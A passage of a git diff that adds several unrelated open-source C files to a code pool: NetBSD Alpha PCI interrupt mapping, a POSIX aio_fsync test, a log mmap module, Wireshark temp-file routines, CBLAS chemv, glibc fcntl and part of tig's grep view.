Distribution Coordinator or Software.Distribution@CS.CMU.EDU + * School of Computer Science + * Carnegie Mellon University + * Pittsburgh PA 15213-3890 + * + * any improvements or extensions that they make and grant Carnegie the + * rights to redistribute these changes. + */ + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include + +#include + +#include +#include +#include + +#include "sio.h" + +int dec_axppci_33_intr_map __P((void *, pcitag_t, int, int, + pci_intr_handle_t *)); +const char *dec_axppci_33_intr_string __P((void *, pci_intr_handle_t)); +void *dec_axppci_33_intr_establish __P((void *, pci_intr_handle_t, + int, int (*func)(void *), void *, char *)); +void dec_axppci_33_intr_disestablish __P((void *, void *)); + +#define LCA_SIO_DEVICE 7 /* XXX */ + +void +pci_axppci_33_pickintr(lcp) + struct lca_config *lcp; +{ + bus_space_tag_t iot = lcp->lc_iot; + pci_chipset_tag_t pc = &lcp->lc_pc; + pcireg_t sioclass; + int sioII; + + /* XXX MAGIC NUMBER */ + sioclass = pci_conf_read(pc, pci_make_tag(pc, 0, LCA_SIO_DEVICE, 0), + PCI_CLASS_REG); + sioII = (sioclass & 0xff) >= 3; + + if (!sioII) + printf("WARNING: SIO NOT SIO II... NO BETS...\n"); + + pc->pc_intr_v = lcp; + pc->pc_intr_map = dec_axppci_33_intr_map; + pc->pc_intr_string = dec_axppci_33_intr_string; + pc->pc_intr_establish = dec_axppci_33_intr_establish; + pc->pc_intr_disestablish = dec_axppci_33_intr_disestablish; + + /* Not supported on AXPpci33. */ + pc->pc_pciide_compat_intr_establish = NULL; + +#if NSIO + sio_intr_setup(pc, iot); + set_iointr(&sio_iointr); +#else + panic("pci_axppci_33_pickintr: no I/O interrupt handler (no sio)"); +#endif +} + +int +dec_axppci_33_intr_map(lcv, bustag, buspin, line, ihp) + void *lcv; + pcitag_t bustag; + int buspin, line; + pci_intr_handle_t *ihp; +{ + struct lca_config *lcp = lcv; + pci_chipset_tag_t pc = &lcp->lc_pc; + int device, pirq; + pcireg_t pirqreg; + u_int8_t pirqline; + + if (buspin == 0) { + /* No IRQ used. */ + return 1; + } + if (buspin > 4) { + printf("pci_map_int: bad interrupt pin %d\n", buspin); + return 1; + } + + pci_decompose_tag(pc, bustag, NULL, &device, NULL); + + switch (device) { + case 6: /* NCR SCSI */ + pirq = 3; + break; + + case 11: /* slot 1 */ + switch (buspin) { + case PCI_INTERRUPT_PIN_A: + case PCI_INTERRUPT_PIN_D: + pirq = 0; + break; + case PCI_INTERRUPT_PIN_B: + pirq = 2; + break; + case PCI_INTERRUPT_PIN_C: + pirq = 1; + break; +#ifdef DIAGNOSTIC + default: /* XXX gcc -Wuninitialized */ + panic("dec_axppci_33_intr_map bogus PCI pin %d", + buspin); +#endif + }; + break; + + case 12: /* slot 2 */ + switch (buspin) { + case PCI_INTERRUPT_PIN_A: + case PCI_INTERRUPT_PIN_D: + pirq = 1; + break; + case PCI_INTERRUPT_PIN_B: + pirq = 0; + break; + case PCI_INTERRUPT_PIN_C: + pirq = 2; + break; +#ifdef DIAGNOSTIC + default: /* XXX gcc -Wuninitialized */ + panic("dec_axppci_33_intr_map bogus PCI pin %d", + buspin); +#endif + }; + break; + + case 8: /* slot 3 */ + switch (buspin) { + case PCI_INTERRUPT_PIN_A: + case PCI_INTERRUPT_PIN_D: + pirq = 2; + break; + case PCI_INTERRUPT_PIN_B: + pirq = 1; + break; + case PCI_INTERRUPT_PIN_C: + pirq = 0; + break; +#ifdef DIAGNOSTIC + default: /* XXX gcc -Wuninitialized */ + panic("dec_axppci_33_intr_map bogus PCI pin %d", + buspin); +#endif + }; + break; + + default: + printf("dec_axppci_33_intr_map: weird device number %d\n", + device); + return 1; + } + + pirqreg = pci_conf_read(pc, pci_make_tag(pc, 0, LCA_SIO_DEVICE, 0), + SIO_PCIREG_PIRQ_RTCTRL); +#if 0 + printf("pci_axppci_33_map_int: device %d pin %c: pirq %d, reg = %x\n", + device, '@' + buspin, pirq, pirqreg); +#endif + pirqline = (pirqreg >> (pirq * 8)) & 0xff; + if ((pirqline & 0x80) != 0) + return 1; /* not routed? */ + pirqline &= 0xf; + +#if 0 + printf("pci_axppci_33_map_int: device %d pin %c: mapped to line %d\n", + device, '@' + buspin, pirqline); +#endif + + *ihp = pirqline; + return (0); +} + +const char * +dec_axppci_33_intr_string(lcv, ih) + void *lcv; + pci_intr_handle_t ih; +{ + return sio_intr_string(NULL /*XXX*/, ih); +} + +void * +dec_axppci_33_intr_establish(lcv, ih, level, func, arg, name) + void *lcv, *arg; + pci_intr_handle_t ih; + int level; + int (*func) __P((void *)); + char *name; +{ + return sio_intr_establish(NULL /*XXX*/, ih, IST_LEVEL, level, func, + arg, name); +} + +void +dec_axppci_33_intr_disestablish(lcv, cookie) + void *lcv, *cookie; +{ + sio_intr_disestablish(NULL /*XXX*/, cookie); +} diff --git a/pool/shard011/C/0141782_5-1.c b/pool/shard011/C/0141782_5-1.c new file mode 100644 index 0000000000000000000000000000000000000000..34fb7f8c7be8af463c789dd8c54366d8d28ea404 --- /dev/null +++ b/pool/shard011/C/0141782_5-1.c @@ -0,0 +1,90 @@ +/* + * Copyright (c) 2004, Bull SA. All rights reserved. + * Created by: Laurent.Vivier@bull.net + * This file is licensed under the GPL license. For the full content + * of this license, see the COPYING file at the top level of this + * source tree. + */ + +#define _XOPEN_SOURCE 600 +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "posixtest.h" + +#define TNAME "aio_fsync/5-1.c" + +#define BUF_SIZE 1024 + +int main(void) +{ + char tmpfname[256]; + char buf[BUF_SIZE]; + int fd; + struct aiocb aiocb_write; + struct aiocb aiocb_fsync; + int ret, err; + + if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) + return PTS_UNSUPPORTED; + + snprintf(tmpfname, sizeof(tmpfname), "/tmp/pts_aio_fsync_5_1_%d", + getpid()); + unlink(tmpfname); + fd = open(tmpfname, O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR); + if (fd == -1) { + printf(TNAME " Error at open(): %s\n", strerror(errno)); + exit(PTS_UNRESOLVED); + } + + unlink(tmpfname); + + memset(&aiocb_write, 0, sizeof(aiocb_write)); + aiocb_write.aio_fildes = fd; + aiocb_write.aio_buf = buf; + aiocb_write.aio_nbytes = BUF_SIZE; + + if (aio_write(&aiocb_write) == -1) { + printf(TNAME " Error at aio_write(): %s\n", strerror(errno)); + exit(PTS_FAIL); + } + + memset(&aiocb_fsync, 0, sizeof(aiocb_fsync)); + aiocb_fsync.aio_fildes = fd; + + if (aio_fsync(O_SYNC, &aiocb_fsync) != 0) { + printf(TNAME " Error at aio_fsync(): %s\n", strerror(errno)); + exit(PTS_FAIL); + } + + ret = PTS_UNTESTED; + if (aio_error(&aiocb_fsync) == EINPROGRESS) + ret = PTS_PASS; + + /* allow to check if aio_error() move from EINPROGRESS to + * something else otherwise test hangs + */ + do { + usleep(10000); + err = aio_error(&aiocb_fsync); + } while (err == EINPROGRESS); + if (err < 0) { + printf(TNAME " Error at aio_error() : %s\n", strerror(ret)); + exit(PTS_FAIL); + } + + close(fd); + + /* we didn't check if the operation is really performed */ + if (ret == PTS_PASS) + printf("Test PASSED\n"); + + return ret; +} diff --git a/pool/shard011/C/0141783_log_mmap.c b/pool/shard011/C/0141783_log_mmap.c new file mode 100644 index 0000000000000000000000000000000000000000..7641e069733e12846bf7b176531c8b74d52675fa --- /dev/null +++ b/pool/shard011/C/0141783_log_mmap.c @@ -0,0 +1,197 @@ +/* + * Copyright 2015 Naver Corp. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include + +#include "log_mmap.h" + +#define LOG LOG_TEMPLATE +/* --------------------------- */ +/* Local Function Declarations */ +/* --------------------------- */ +static long long currusec (void); +static smrLogAddr *log_create_mapping (smrReplicator * rep, long long seq, + entryGetOpt opt, int is_write); +static void logmmap_entry_release_act (smrReplicator * rep, + logMmapEntry * entry); + +/* ------------------------- */ +/* Local Function Definition */ +/* ------------------------- */ +static long long +currusec (void) +{ + struct timeval tv; + long long usec; + + gettimeofday (&tv, NULL); + usec = tv.tv_sec * 1000000; + usec += tv.tv_usec; + return usec; +} + +static smrLogAddr * +log_create_mapping (smrReplicator * rep, long long seq, entryGetOpt opt, + int is_write) +{ + smrLogAddr *addr = NULL; + long long st, et; + + assert (rep != NULL); + seq = seq_round_down (seq); + + st = currusec (); + if (opt == GET_CREATE) + { + addr = smrlog_write_mmap (rep->smrlog, seq, 1); + } + else + { + assert (opt == GET_EXIST); + if (is_write) + { + addr = smrlog_write_mmap (rep->smrlog, seq, 0); + } + else + { + addr = smrlog_read_mmap (rep->smrlog, seq); + } + } + et = currusec (); + + if (addr == NULL) + { + return NULL; + } + LOG (LG_INFO, + "LOG new mmap. seq:%lld loc:%d opt:%d msec:%.2f", + seq, addr->loc, opt, (et - st) / 1000.0); + + return addr; +} + +static void +logmmap_entry_release_act (smrReplicator * rep, logMmapEntry * entry) +{ + assert (entry->ref_count == 0); + if (rep->bio_thr != NULL) + { + LOG (LG_INFO, "LOG entry released to bio. seq:%lld loc:%d", + entry->start_seq, entry->addr->loc); + UNMAPH_LOCK (rep); + dlisth_insert_before (&entry->head, &rep->unmaph); + UNMAPH_UNLOCK (rep); + } + else + { + LOG (LG_INFO, "LOG entry released foreground. seq:%lld", + entry->start_seq); + pthread_mutex_destroy (&entry->mutex); + smrlog_munmap (rep->smrlog, entry->addr); + free (entry); + } +} + + +/* ----------------- */ +/* Exported Function */ +/* ----------------- */ + +logMmapEntry * +logmmap_entry_get (smrReplicator * rep, long long seq_, entryGetOpt opt, + int is_write) +{ + long long seq; + logMmapEntry *entry = NULL; + smrLogAddr *addr; + assert (rep != NULL); + seq = seq_round_down (seq_); + + entry = malloc (sizeof (logMmapEntry)); + if (entry == NULL) + { + return NULL; + } + init_log_mmap_entry (entry); + + /* create new entry */ + addr = log_create_mapping (rep, seq, opt, is_write); + if (addr == NULL) + { + free (entry); + return NULL; + } + entry->ref_count = 1; + entry->start_seq = seq; + entry->addr = addr; + + LOG (LG_INFO, "LOG new mmap entry seq:%lld loc:%d", seq, entry->addr->loc); + return entry; +} + +logMmapEntry * +logmmap_entry_addref (smrReplicator * rep, logMmapEntry * entry) +{ + ENTRY_LOCK (entry); + assert (entry->ref_count >= 0); + entry->ref_count++; + ENTRY_UNLOCK (entry); + return entry; +} + +void +logmmap_entry_release (smrReplicator * rep, logMmapEntry * entry) +{ + int do_unmap = 0; + + LOG (LG_DEBUG, + "entry_release called. seq:%lld addr:%p age:%d", entry->start_seq, + entry, entry->age); + ENTRY_LOCK (entry); + entry->ref_count--; + if (entry->ref_count <= 0) + { + do_unmap = 1; + } + ENTRY_UNLOCK (entry); + if (do_unmap) + { + logmmap_entry_release_act (rep, entry); + } +} + +void +logmmap_entry_release_raw (smrReplicator * rep, logMmapEntry * entry) +{ + int do_unmap = 0; + + ENTRY_LOCK (entry); + entry->ref_count--; + if (entry->ref_count <= 0) + { + do_unmap = 1; + } + ENTRY_UNLOCK (entry); + if (do_unmap) + { + pthread_mutex_destroy (&entry->mutex); + smrlog_munmap (rep->smrlog, entry->addr); + free (entry); + } +} diff --git a/pool/shard011/C/0141784_tempfile.c b/pool/shard011/C/0141784_tempfile.c new file mode 100644 index 0000000000000000000000000000000000000000..64b1a0c25a44fa1c62684941840d0fa1317eb73e --- /dev/null +++ b/pool/shard011/C/0141784_tempfile.c @@ -0,0 +1,279 @@ +/* tempfile.c + * Routines to create temporary files + * + * $Id: tempfile.c 50163 2013-06-26 01:14:35Z morriss $ + * + * Wireshark - Network traffic analyzer + * By Gerald Combs + * Copyright 1998 Gerald Combs + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include "config.h" + +#include + +#include +#include +#include +#include +#include + +#ifdef HAVE_FCNTL_H +#include +#endif + +#ifdef HAVE_UNISTD_H +#include +#endif + +#ifdef HAVE_WINDOWS_H +#include +#endif + +#ifdef _WIN32 +#include /* For getpid() */ +#endif + +#include "tempfile.h" +#include + +#ifndef __set_errno +#define __set_errno(x) errno=(x) +#endif + +#define INITIAL_PATH_SIZE 128 +#define TMP_FILE_SUFFIX "XXXXXX" + +#ifndef HAVE_MKSTEMP +/* Generate a unique temporary file name from TEMPLATE. + The last six characters of TEMPLATE must be TMP_FILE_SUFFIX; + they are replaced with a string that makes the filename unique. + Returns a file descriptor open on the file for reading and writing. */ +static int +mkstemp (char *template) +{ + static const char letters[] + = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + size_t len; + size_t i; + + len = strlen (template); + if (len < 6 || strcmp (&template[len - 6], TMP_FILE_SUFFIX)) + { + __set_errno (EINVAL); + return -1; + } + + if (g_snprintf (&template[len - 5], 6, "%.5u", + (unsigned int) getpid () % 100000) != 5) + /* Inconceivable lossage. */ + return -1; + + for (i = 0; i < sizeof (letters); ++i) + { + int fd; + + template[len - 6] = letters[i]; + + fd = ws_open (template, O_RDWR|O_BINARY|O_CREAT|O_EXCL, 0600); + if (fd >= 0) + return fd; + } + + /* We return the null string if we can't find a unique file name. */ + + template[0] = '\0'; + return -1; +} + +#endif /* HAVE_MKSTEMP */ + +#ifndef HAVE_MKDTEMP +/* Generate a unique temporary directory name from TEMPLATE. + The last six characters of TEMPLATE must be TMP_FILE_SUFFIX; + they are replaced with a string that makes the filename unique. + Returns 0 on success or -1 on error (from mkdir(2)). */ +char * +mkdtemp (char *template) +{ + static const char letters[] + = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + size_t len; + size_t i; + + len = strlen (template); + if (len < 6 || strcmp (&template[len - 6], TMP_FILE_SUFFIX)) + { + __set_errno (EINVAL); + return NULL; + } + + if (g_snprintf (&template[len - 5], 6, "%.5u", + (unsigned int) getpid () % 100000) != 5) + /* Inconceivable lossage. */ + return NULL; + + for (i = 0; i < sizeof (letters); ++i) + { + int ret; + + template[len - 6] = letters[i]; + + ret = ws_mkdir(template, 0700); + if (ret >= 0) + return template; + } + + /* We return the null string if we can't find a unique file name. */ + + template[0] = '\0'; + return NULL; +} + +#endif /* HAVE_MKDTEMP */ + +#define MAX_TEMPFILES 3 + +/** + * Create a tempfile with the given prefix (e.g. "wireshark"). + * + * @param namebuf If not NULL, receives the full path of the temp file. + * Should NOT be freed. + * @param pfx A prefix for the temporary file. + * @return The file descriptor of the new tempfile, from mkstemp(). + * @todo Switch from mkstemp() to something like mkstemps(), so the caller + * can optionally indicate that part of the pfx is actually a suffix, + * such as "pcap" or "pcapng". + */ +int +create_tempfile(char **namebuf, const char *pfx) +{ + static struct _tf { + char *path; + unsigned long len; + } tf[MAX_TEMPFILES]; + static int idx; + + const char *tmp_dir; + int old_umask; + int fd; + time_t current_time; + char timestr[14 + 1]; + gchar *tmp_file; + gchar *safe_pfx; + gchar sep[2] = {0, 0}; + + /* The characters in "delimiters" come from: + * http://msdn.microsoft.com/en-us/library/aa365247%28VS.85%29.aspx. + * Add to the list as necessary for other OS's. + */ + const gchar *delimiters = "<>:\"/\\|?*" + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a" + "\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14" + "\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"; + + /* Sanitize the pfx to resolve bug 7877 */ + safe_pfx = g_strdup(pfx); + safe_pfx = g_strdelimit(safe_pfx, delimiters, '-'); + + idx = (idx + 1) % MAX_TEMPFILES; + + /* + * Allocate the buffer if it's not already allocated. + */ + if (tf[idx].path == NULL) { + tf[idx].len = INITIAL_PATH_SIZE; + tf[idx].path = (char *)g_malloc(tf[idx].len); + } + + /* + * We can't use get_tempfile_path here because we're called from dumpcap.c. + */ + tmp_dir = g_get_tmp_dir(); + +#ifdef _WIN32 + _tzset(); +#endif + current_time = time(NULL); + strftime(timestr, sizeof(timestr), "%Y%m%d%H%M%S", localtime(¤t_time)); + sep[0] = G_DIR_SEPARATOR; + tmp_file = g_strconcat(tmp_dir, sep, safe_pfx, "_", timestr, "_", TMP_FILE_SUFFIX, NULL); + g_free(safe_pfx); + if (strlen(tmp_file) > tf[idx].len) { + tf[idx].len = (int)strlen(tmp_file) + 1; + tf[idx].path = (char *)g_realloc(tf[idx].path, tf[idx].len); + } + g_strlcpy(tf[idx].path, tmp_file, tf[idx].len); + g_free(tmp_file); + + if (namebuf) { + *namebuf = tf[idx].path; + } + /* The Single UNIX Specification doesn't say that "mkstemp()" + creates the temporary file with mode rw-------, so we + won't assume that all UNIXes will do so; instead, we set + the umask to 0077 to take away all group and other + permissions, attempt to create the file, and then put + the umask back. */ + old_umask = umask(0077); + fd = mkstemp(tf[idx].path); + umask(old_umask); + return fd; +} + +/** + * Create a directory with the given prefix (e.g. "wireshark"). The path + * is created using g_get_tmp_dir and mkdtemp. + * + * @param namebuf + * @param pfx A prefix for the temporary directory. + * @return The temporary directory path on success, or NULL on failure. + * Must NOT be freed. + */ +const char * +create_tempdir(char **namebuf, const char *pfx) +{ + static char *td_path[3]; + static int td_path_len[3]; + static int idx; + const char *tmp_dir; + + idx = (idx + 1) % 3; + + /* + * Allocate the buffer if it's not already allocated. + */ + if (td_path[idx] == NULL) { + td_path_len[idx] = INITIAL_PATH_SIZE; + td_path[idx] = (char *)g_malloc(td_path_len[idx]); + } + + /* + * We can't use get_tempfile_path here because we're called from dumpcap.c. + */ + tmp_dir = g_get_tmp_dir(); + + while (g_snprintf(td_path[idx], td_path_len[idx], "%s%c%s" TMP_FILE_SUFFIX, tmp_dir, G_DIR_SEPARATOR, pfx) > td_path_len[idx]) { + td_path_len[idx] *= 2; + td_path[idx] = (char *)g_realloc(td_path[idx], td_path_len[idx]); + } + + if (namebuf) { + *namebuf = td_path[idx]; + } + return mkdtemp(td_path[idx]); +} diff --git a/pool/shard011/C/0141785_cblas_chemv.c b/pool/shard011/C/0141785_cblas_chemv.c new file mode 100644 index 0000000000000000000000000000000000000000..bbaaefdc234defee46ab3852b04087da2c7c1c15 --- /dev/null +++ b/pool/shard011/C/0141785_cblas_chemv.c @@ -0,0 +1,146 @@ +/* + * cblas_chemv.c + * The program is a C interface to chemv + * + * Keita Teranishi 5/18/98 + * + */ +#include +#include +#include "cblas.h" +#include "cblas_f77.h" +void cblas_chemv(const enum CBLAS_ORDER order, + const enum CBLAS_UPLO Uplo, const int N, + const void *alpha, const void *A, const int lda, + const void *X, const int incX, const void *beta, + void *Y, const int incY) +{ + char UL; +#ifdef F77_CHAR + F77_CHAR F77_UL; +#else + #define F77_UL &UL +#endif +#ifdef F77_INT + F77_INT F77_N=N, F77_lda=lda, F77_incX=incX, F77_incY=incY; +#else + #define F77_N N + #define F77_lda lda + #define F77_incX incx + #define F77_incY incY +#endif + int n=0, i=0, incx=incX; + const float *xx= (float *)X, *alp= (float *)alpha, *bet = (float *)beta; + float ALPHA[2],BETA[2]; + int tincY, tincx; + float *x=(float *)X, *y=(float *)Y, *st=0, *tx; + + + if (order == CblasColMajor) + { + if (Uplo == CblasUpper) UL = 'U'; + else if (Uplo == CblasLower) UL = 'L'; + else + { + cblas_xerbla(2, "cblas_chemv","Illegal Uplo setting, %d\n",Uplo ); + return; + } + #ifdef F77_CHAR + F77_UL = C2F_CHAR(&UL); + #endif + F77_chemv(F77_UL, &F77_N, alpha, A, &F77_lda, X, &F77_incX, + beta, Y, &F77_incY); + } + else if (order == CblasRowMajor) + { + ALPHA[0]= *alp; + ALPHA[1]= -alp[1]; + BETA[0]= *bet; + BETA[1]= -bet[1]; + + if (N > 0) + { + n = N << 1; + x = malloc(n*sizeof(float)); + + tx = x; + if( incX > 0 ) { + i = incX << 1 ; + tincx = 2; + st= x+n; + } else { + i = incX *(-2); + tincx = -2; + st = x-2; + x +=(n-2); + } + + do + { + *x = *xx; + x[1] = -xx[1]; + x += tincx ; + xx += i; + } + while (x != st); + x=tx; + + + #ifdef F77_INT + F77_incX = 1; + #else + incx = 1; + #endif + + if(incY > 0) + tincY = incY; + else + tincY = -incY; + y++; + + i = tincY << 1; + n = i * N ; + st = y + n; + do { + *y = -(*y); + y += i; + } while(y != st); + y -= n; + } else + x = (float *) X; + + + if (Uplo == CblasUpper) UL = 'L'; + else if (Uplo == CblasLower) UL = 'U'; + else + { + cblas_xerbla(2, "cblas_chemv","Illegal Uplo setting, %d\n", Uplo); + return; + } + #ifdef F77_CHAR + F77_UL = C2F_CHAR(&UL); + #endif + F77_chemv(F77_UL, &F77_N, ALPHA, A, &F77_lda, x, &F77_incX, + BETA, Y, &F77_incY); + } + else + { + cblas_xerbla(1, "cblas_chemv","Illegal Order setting, %d\n", order); + return; + } + if ( order == CblasRowMajor ) + { + if ( X != x ) + free(x); + if (N > 0) + { + do + { + *y = -(*y); + y += i; + } + while (y != st); + } + } + return; +} diff --git a/pool/shard011/C/0141786_fcntl.c b/pool/shard011/C/0141786_fcntl.c new file mode 100644 index 0000000000000000000000000000000000000000..6e4d591c58ea359472467c52e766a572d63f9058 --- /dev/null +++ b/pool/shard011/C/0141786_fcntl.c @@ -0,0 +1,135 @@ +/* Copyright (C) 2000 Free Software Foundation, Inc. + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA + 02111-1307 USA. */ + +#include +#include +#include +#include + +#include +#include +#include "../kernel-features.h" + +extern int __syscall_fcntl (int __fd, int __cmd, ...); +#ifdef __NR_fcntl64 +extern int __syscall_fcntl64 (int __fd, int __cmd, ...); +#endif + +#if __ASSUME_FCNTL64 == 0 +/* This variable is shared with all files that check for fcntl64. */ +int __have_no_fcntl64; +#endif + +int +__libc_fcntl (int fd, int cmd, ...) +{ + va_list ap; + void *arg; + + va_start (ap, cmd); + arg = va_arg (ap, void *); + va_end (ap); + +#if __ASSUME_FCNTL64 > 0 + return INLINE_SYSCALL (fcntl64, 3, fd, cmd, arg); +#else +# ifdef __NR_fcntl64 + if (! __have_no_fcntl64) + { + int result = INLINE_SYSCALL (fcntl64, 3, fd, cmd, arg); + if (result >= 0 || errno != ENOSYS) + return result; + + __have_no_fcntl64 = 1; + } +# endif + switch (cmd) + { + case F_GETLK64: + /* Convert arg from flock64 to flock and back. */ + { + struct flock fl; + struct flock64 *fl64 = arg; + int res; + + fl.l_start = (off_t)fl64->l_start; + /* Check if we can represent the values with the smaller type. */ + if ((off64_t) fl.l_start != fl64->l_start) + { + __set_errno (EOVERFLOW); + return -1; + } + fl.l_len = (off_t) fl64->l_len; + /* Check if we can represent the values with the smaller type. */ + if ((off64_t) fl.l_len != fl64->l_len) + { + __set_errno (EOVERFLOW); + return -1; + } + fl.l_type = fl64->l_type; + fl.l_whence = fl64->l_whence; + fl.l_pid = fl64->l_pid; + + res = INLINE_SYSCALL (fcntl, 3, fd, F_GETLK, &fl); + if (res != 0) + return res; + /* Everything ok, convert back. */ + fl64->l_type = fl.l_type; + fl64->l_whence = fl.l_whence; + fl64->l_start = fl.l_start; + fl64->l_len = fl.l_len; + fl64->l_pid = fl.l_pid; + + return 0; + } + case F_SETLK64: + case F_SETLKW64: + /* Try to convert arg from flock64 to flock. */ + { + struct flock fl; + struct flock64 *fl64 = arg; + + fl.l_start = (off_t) fl64->l_start; + /* Check if we can represent the values with the smaller type. */ + if ((off64_t) fl.l_start != fl64->l_start) + { + __set_errno (EOVERFLOW); + return -1; + } + fl.l_len = (off_t)fl64->l_len; + /* Check if we can represent the values with the smaller type. */ + if ((off64_t) fl.l_len != fl64->l_len) + { + __set_errno (EOVERFLOW); + return -1; + } + fl.l_type = fl64->l_type; + fl.l_whence = fl64->l_whence; + fl.l_pid = fl64->l_pid; + assert (F_SETLK - F_SETLKW == F_SETLK64 - F_SETLKW64); + return INLINE_SYSCALL (fcntl, 3, fd, cmd + F_SETLK - F_SETLK64, &fl); + } + default: + return INLINE_SYSCALL (fcntl, 3, fd, cmd, arg); + } + return -1; +#endif /* __ASSUME_FCNTL64 */ +} + +weak_alias (__libc_fcntl, __fcntl) +weak_alias (__libc_fcntl, fcntl) diff --git a/pool/shard011/C/0141787_grep.c b/pool/shard011/C/0141787_grep.c new file mode 100644 index 0000000000000000000000000000000000000000..afa825385164fc10e062b8471573d94cba7b5cee --- /dev/null +++ b/pool/shard011/C/0141787_grep.c @@ -0,0 +1,278 @@ +/* Copyright (c) 2006-2015 Jonas Fonseca + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include "tig/refdb.h" +#include "tig/options.h" +#include "tig/parse.h" +#include "tig/repo.h" +#include "tig/display.h" +#include "tig/prompt.h" +#include "tig/draw.h" +#include "tig/blob.h" +#include "tig/grep.h" + +struct grep_line { + const char *file; + unsigned long lineno; + char text[1]; +}; + +struct grep_state { + const char *last_file; + bool no_file_group; +}; + +static struct grep_line * +grep_get_line(const struct line *line) +{ + static struct grep_line grep_line; + + if (line->type == LINE_DEFAULT) + return line->data; + + grep_line.file = line->type == LINE_DELIMITER ? "" : get_path(box_text(line)); + return &grep_line; +} + +static bool +grep_get_column_data(struct view *view, const struct line *line, struct view_column_data *column_data) +{ + struct grep_line *grep = grep_get_line(line); + + if (line->type == LINE_DELIMITER) { + static struct view_column separator_column; + + separator_column.type = VIEW_COLUMN_TEXT; + column_data->section = &separator_column; + column_data->text = "--"; + return true; + } + + if (*grep->file && !*grep->text) { + static struct view_column file_name_column; + + file_name_column.type = VIEW_COLUMN_FILE_NAME; + file_name_column.opt.file_name.display = FILENAME_ALWAYS; + + column_data->section = &file_name_column; + } + + column_data->line_number = &grep->lineno; + column_data->file_name = grep->file; + column_data->text = grep->text; + return true; +} + +static void +grep_select(struct view *view, struct line *line) +{ + struct grep_line *grep = grep_get_line(line); + + if (!*grep->file) + return; + view->env->ref[0] = 0; + string_ncopy(view->env->file, grep->file, strlen(grep->file)); + string_ncopy(view->ref, grep->file, strlen(grep->file)); + view->env->lineno = grep->lineno + 1; +} + +static const char *grep_args[] = { + "git", "grep", "--no-color", "-n", "-z", "--full-name", NULL +}; + +static const char **grep_argv; + +static bool +grep_prompt(void) +{ + const char *argv[SIZEOF_ARG]; + int argc = 0; + char *grep = read_prompt("grep: "); + + if (!grep || !argv_from_string_no_quotes(argv, &argc, grep)) + return false; + if (grep_argv) + argv_free(grep_argv); + return argv_append_array(&grep_argv, argv); +} + +void +open_grep_view(struct view *prev) +{ + struct view *view = &grep_view; + bool in_grep_view = prev == view; + + if ((!prev && is_initial_view(view)) || (view->lines && !in_grep_view)) { + open_view(prev, view, OPEN_DEFAULT); + } else { + if (grep_prompt()) { + clear_position(&view->pos); + open_view(prev, view, OPEN_RELOAD); + } + } +} + +static bool +grep_open(struct view *view, enum open_flags flags) +{ + struct grep_state *state = view->private; + const char **argv = NULL; + + if (is_initial_view(view)) { + grep_argv = opt_cmdline_args; + opt_cmdline_args = NULL; + } + + if (!argv_append_array(&argv, grep_args) || + !argv_append_array(&argv, grep_argv)) + return false; + + { + struct view_column *column = get_view_column(view, VIEW_COLUMN_FILE_NAME); + + state->no_file_group = !column || column->opt.file_name.display != FILENAME_NO; + } + + return begin_update(view, NULL, argv, flags); +} + +static enum request +grep_request(struct view *view, enum request request, struct line *line) +{ + struct grep_state *state = view->private; + struct grep_line *grep = grep_get_line(line); + struct view *file_view = &blob_view; + + switch (request) { + case REQ_REFRESH: + refresh_view(view); + return REQ_NONE; + + case REQ_ENTER: + if (!*grep->file) + return REQ_NONE; + if (file_view->parent == view && file_view->prev == view && + state->last_file == grep->file && view_is_displayed(file_view)) { + if (*grep->text) { + select_view_line(file_view, grep->lineno); + update_view_title(file_view); + } + + } else { + const char *file_argv[] = { repo.cdup, grep->file, NULL }; + + clear_position(&file_view->pos); + view->env->goto_lineno = grep->lineno; + view->env->blob[0] = 0; + open_argv(view, file_view, file_argv, repo.cdup, OPEN_SPLIT | OPEN_RELOAD); + } + state->last_file = grep->file; + return REQ_NONE; + + case REQ_EDIT: + if (!*grep->file) + return request; + open_editor(grep->file, grep->lineno + 1); + return REQ_NONE; + + case REQ_VIEW_BLAME: + view->env->ref[0] = 0; + view->env->goto_lineno = grep->lineno; + return request; + + default: + return request; + } +} + +static bool +grep_read(struct view *view, struct buffer *buf, bool force_stop) +{ + struct grep_state *state = view->private; + struct 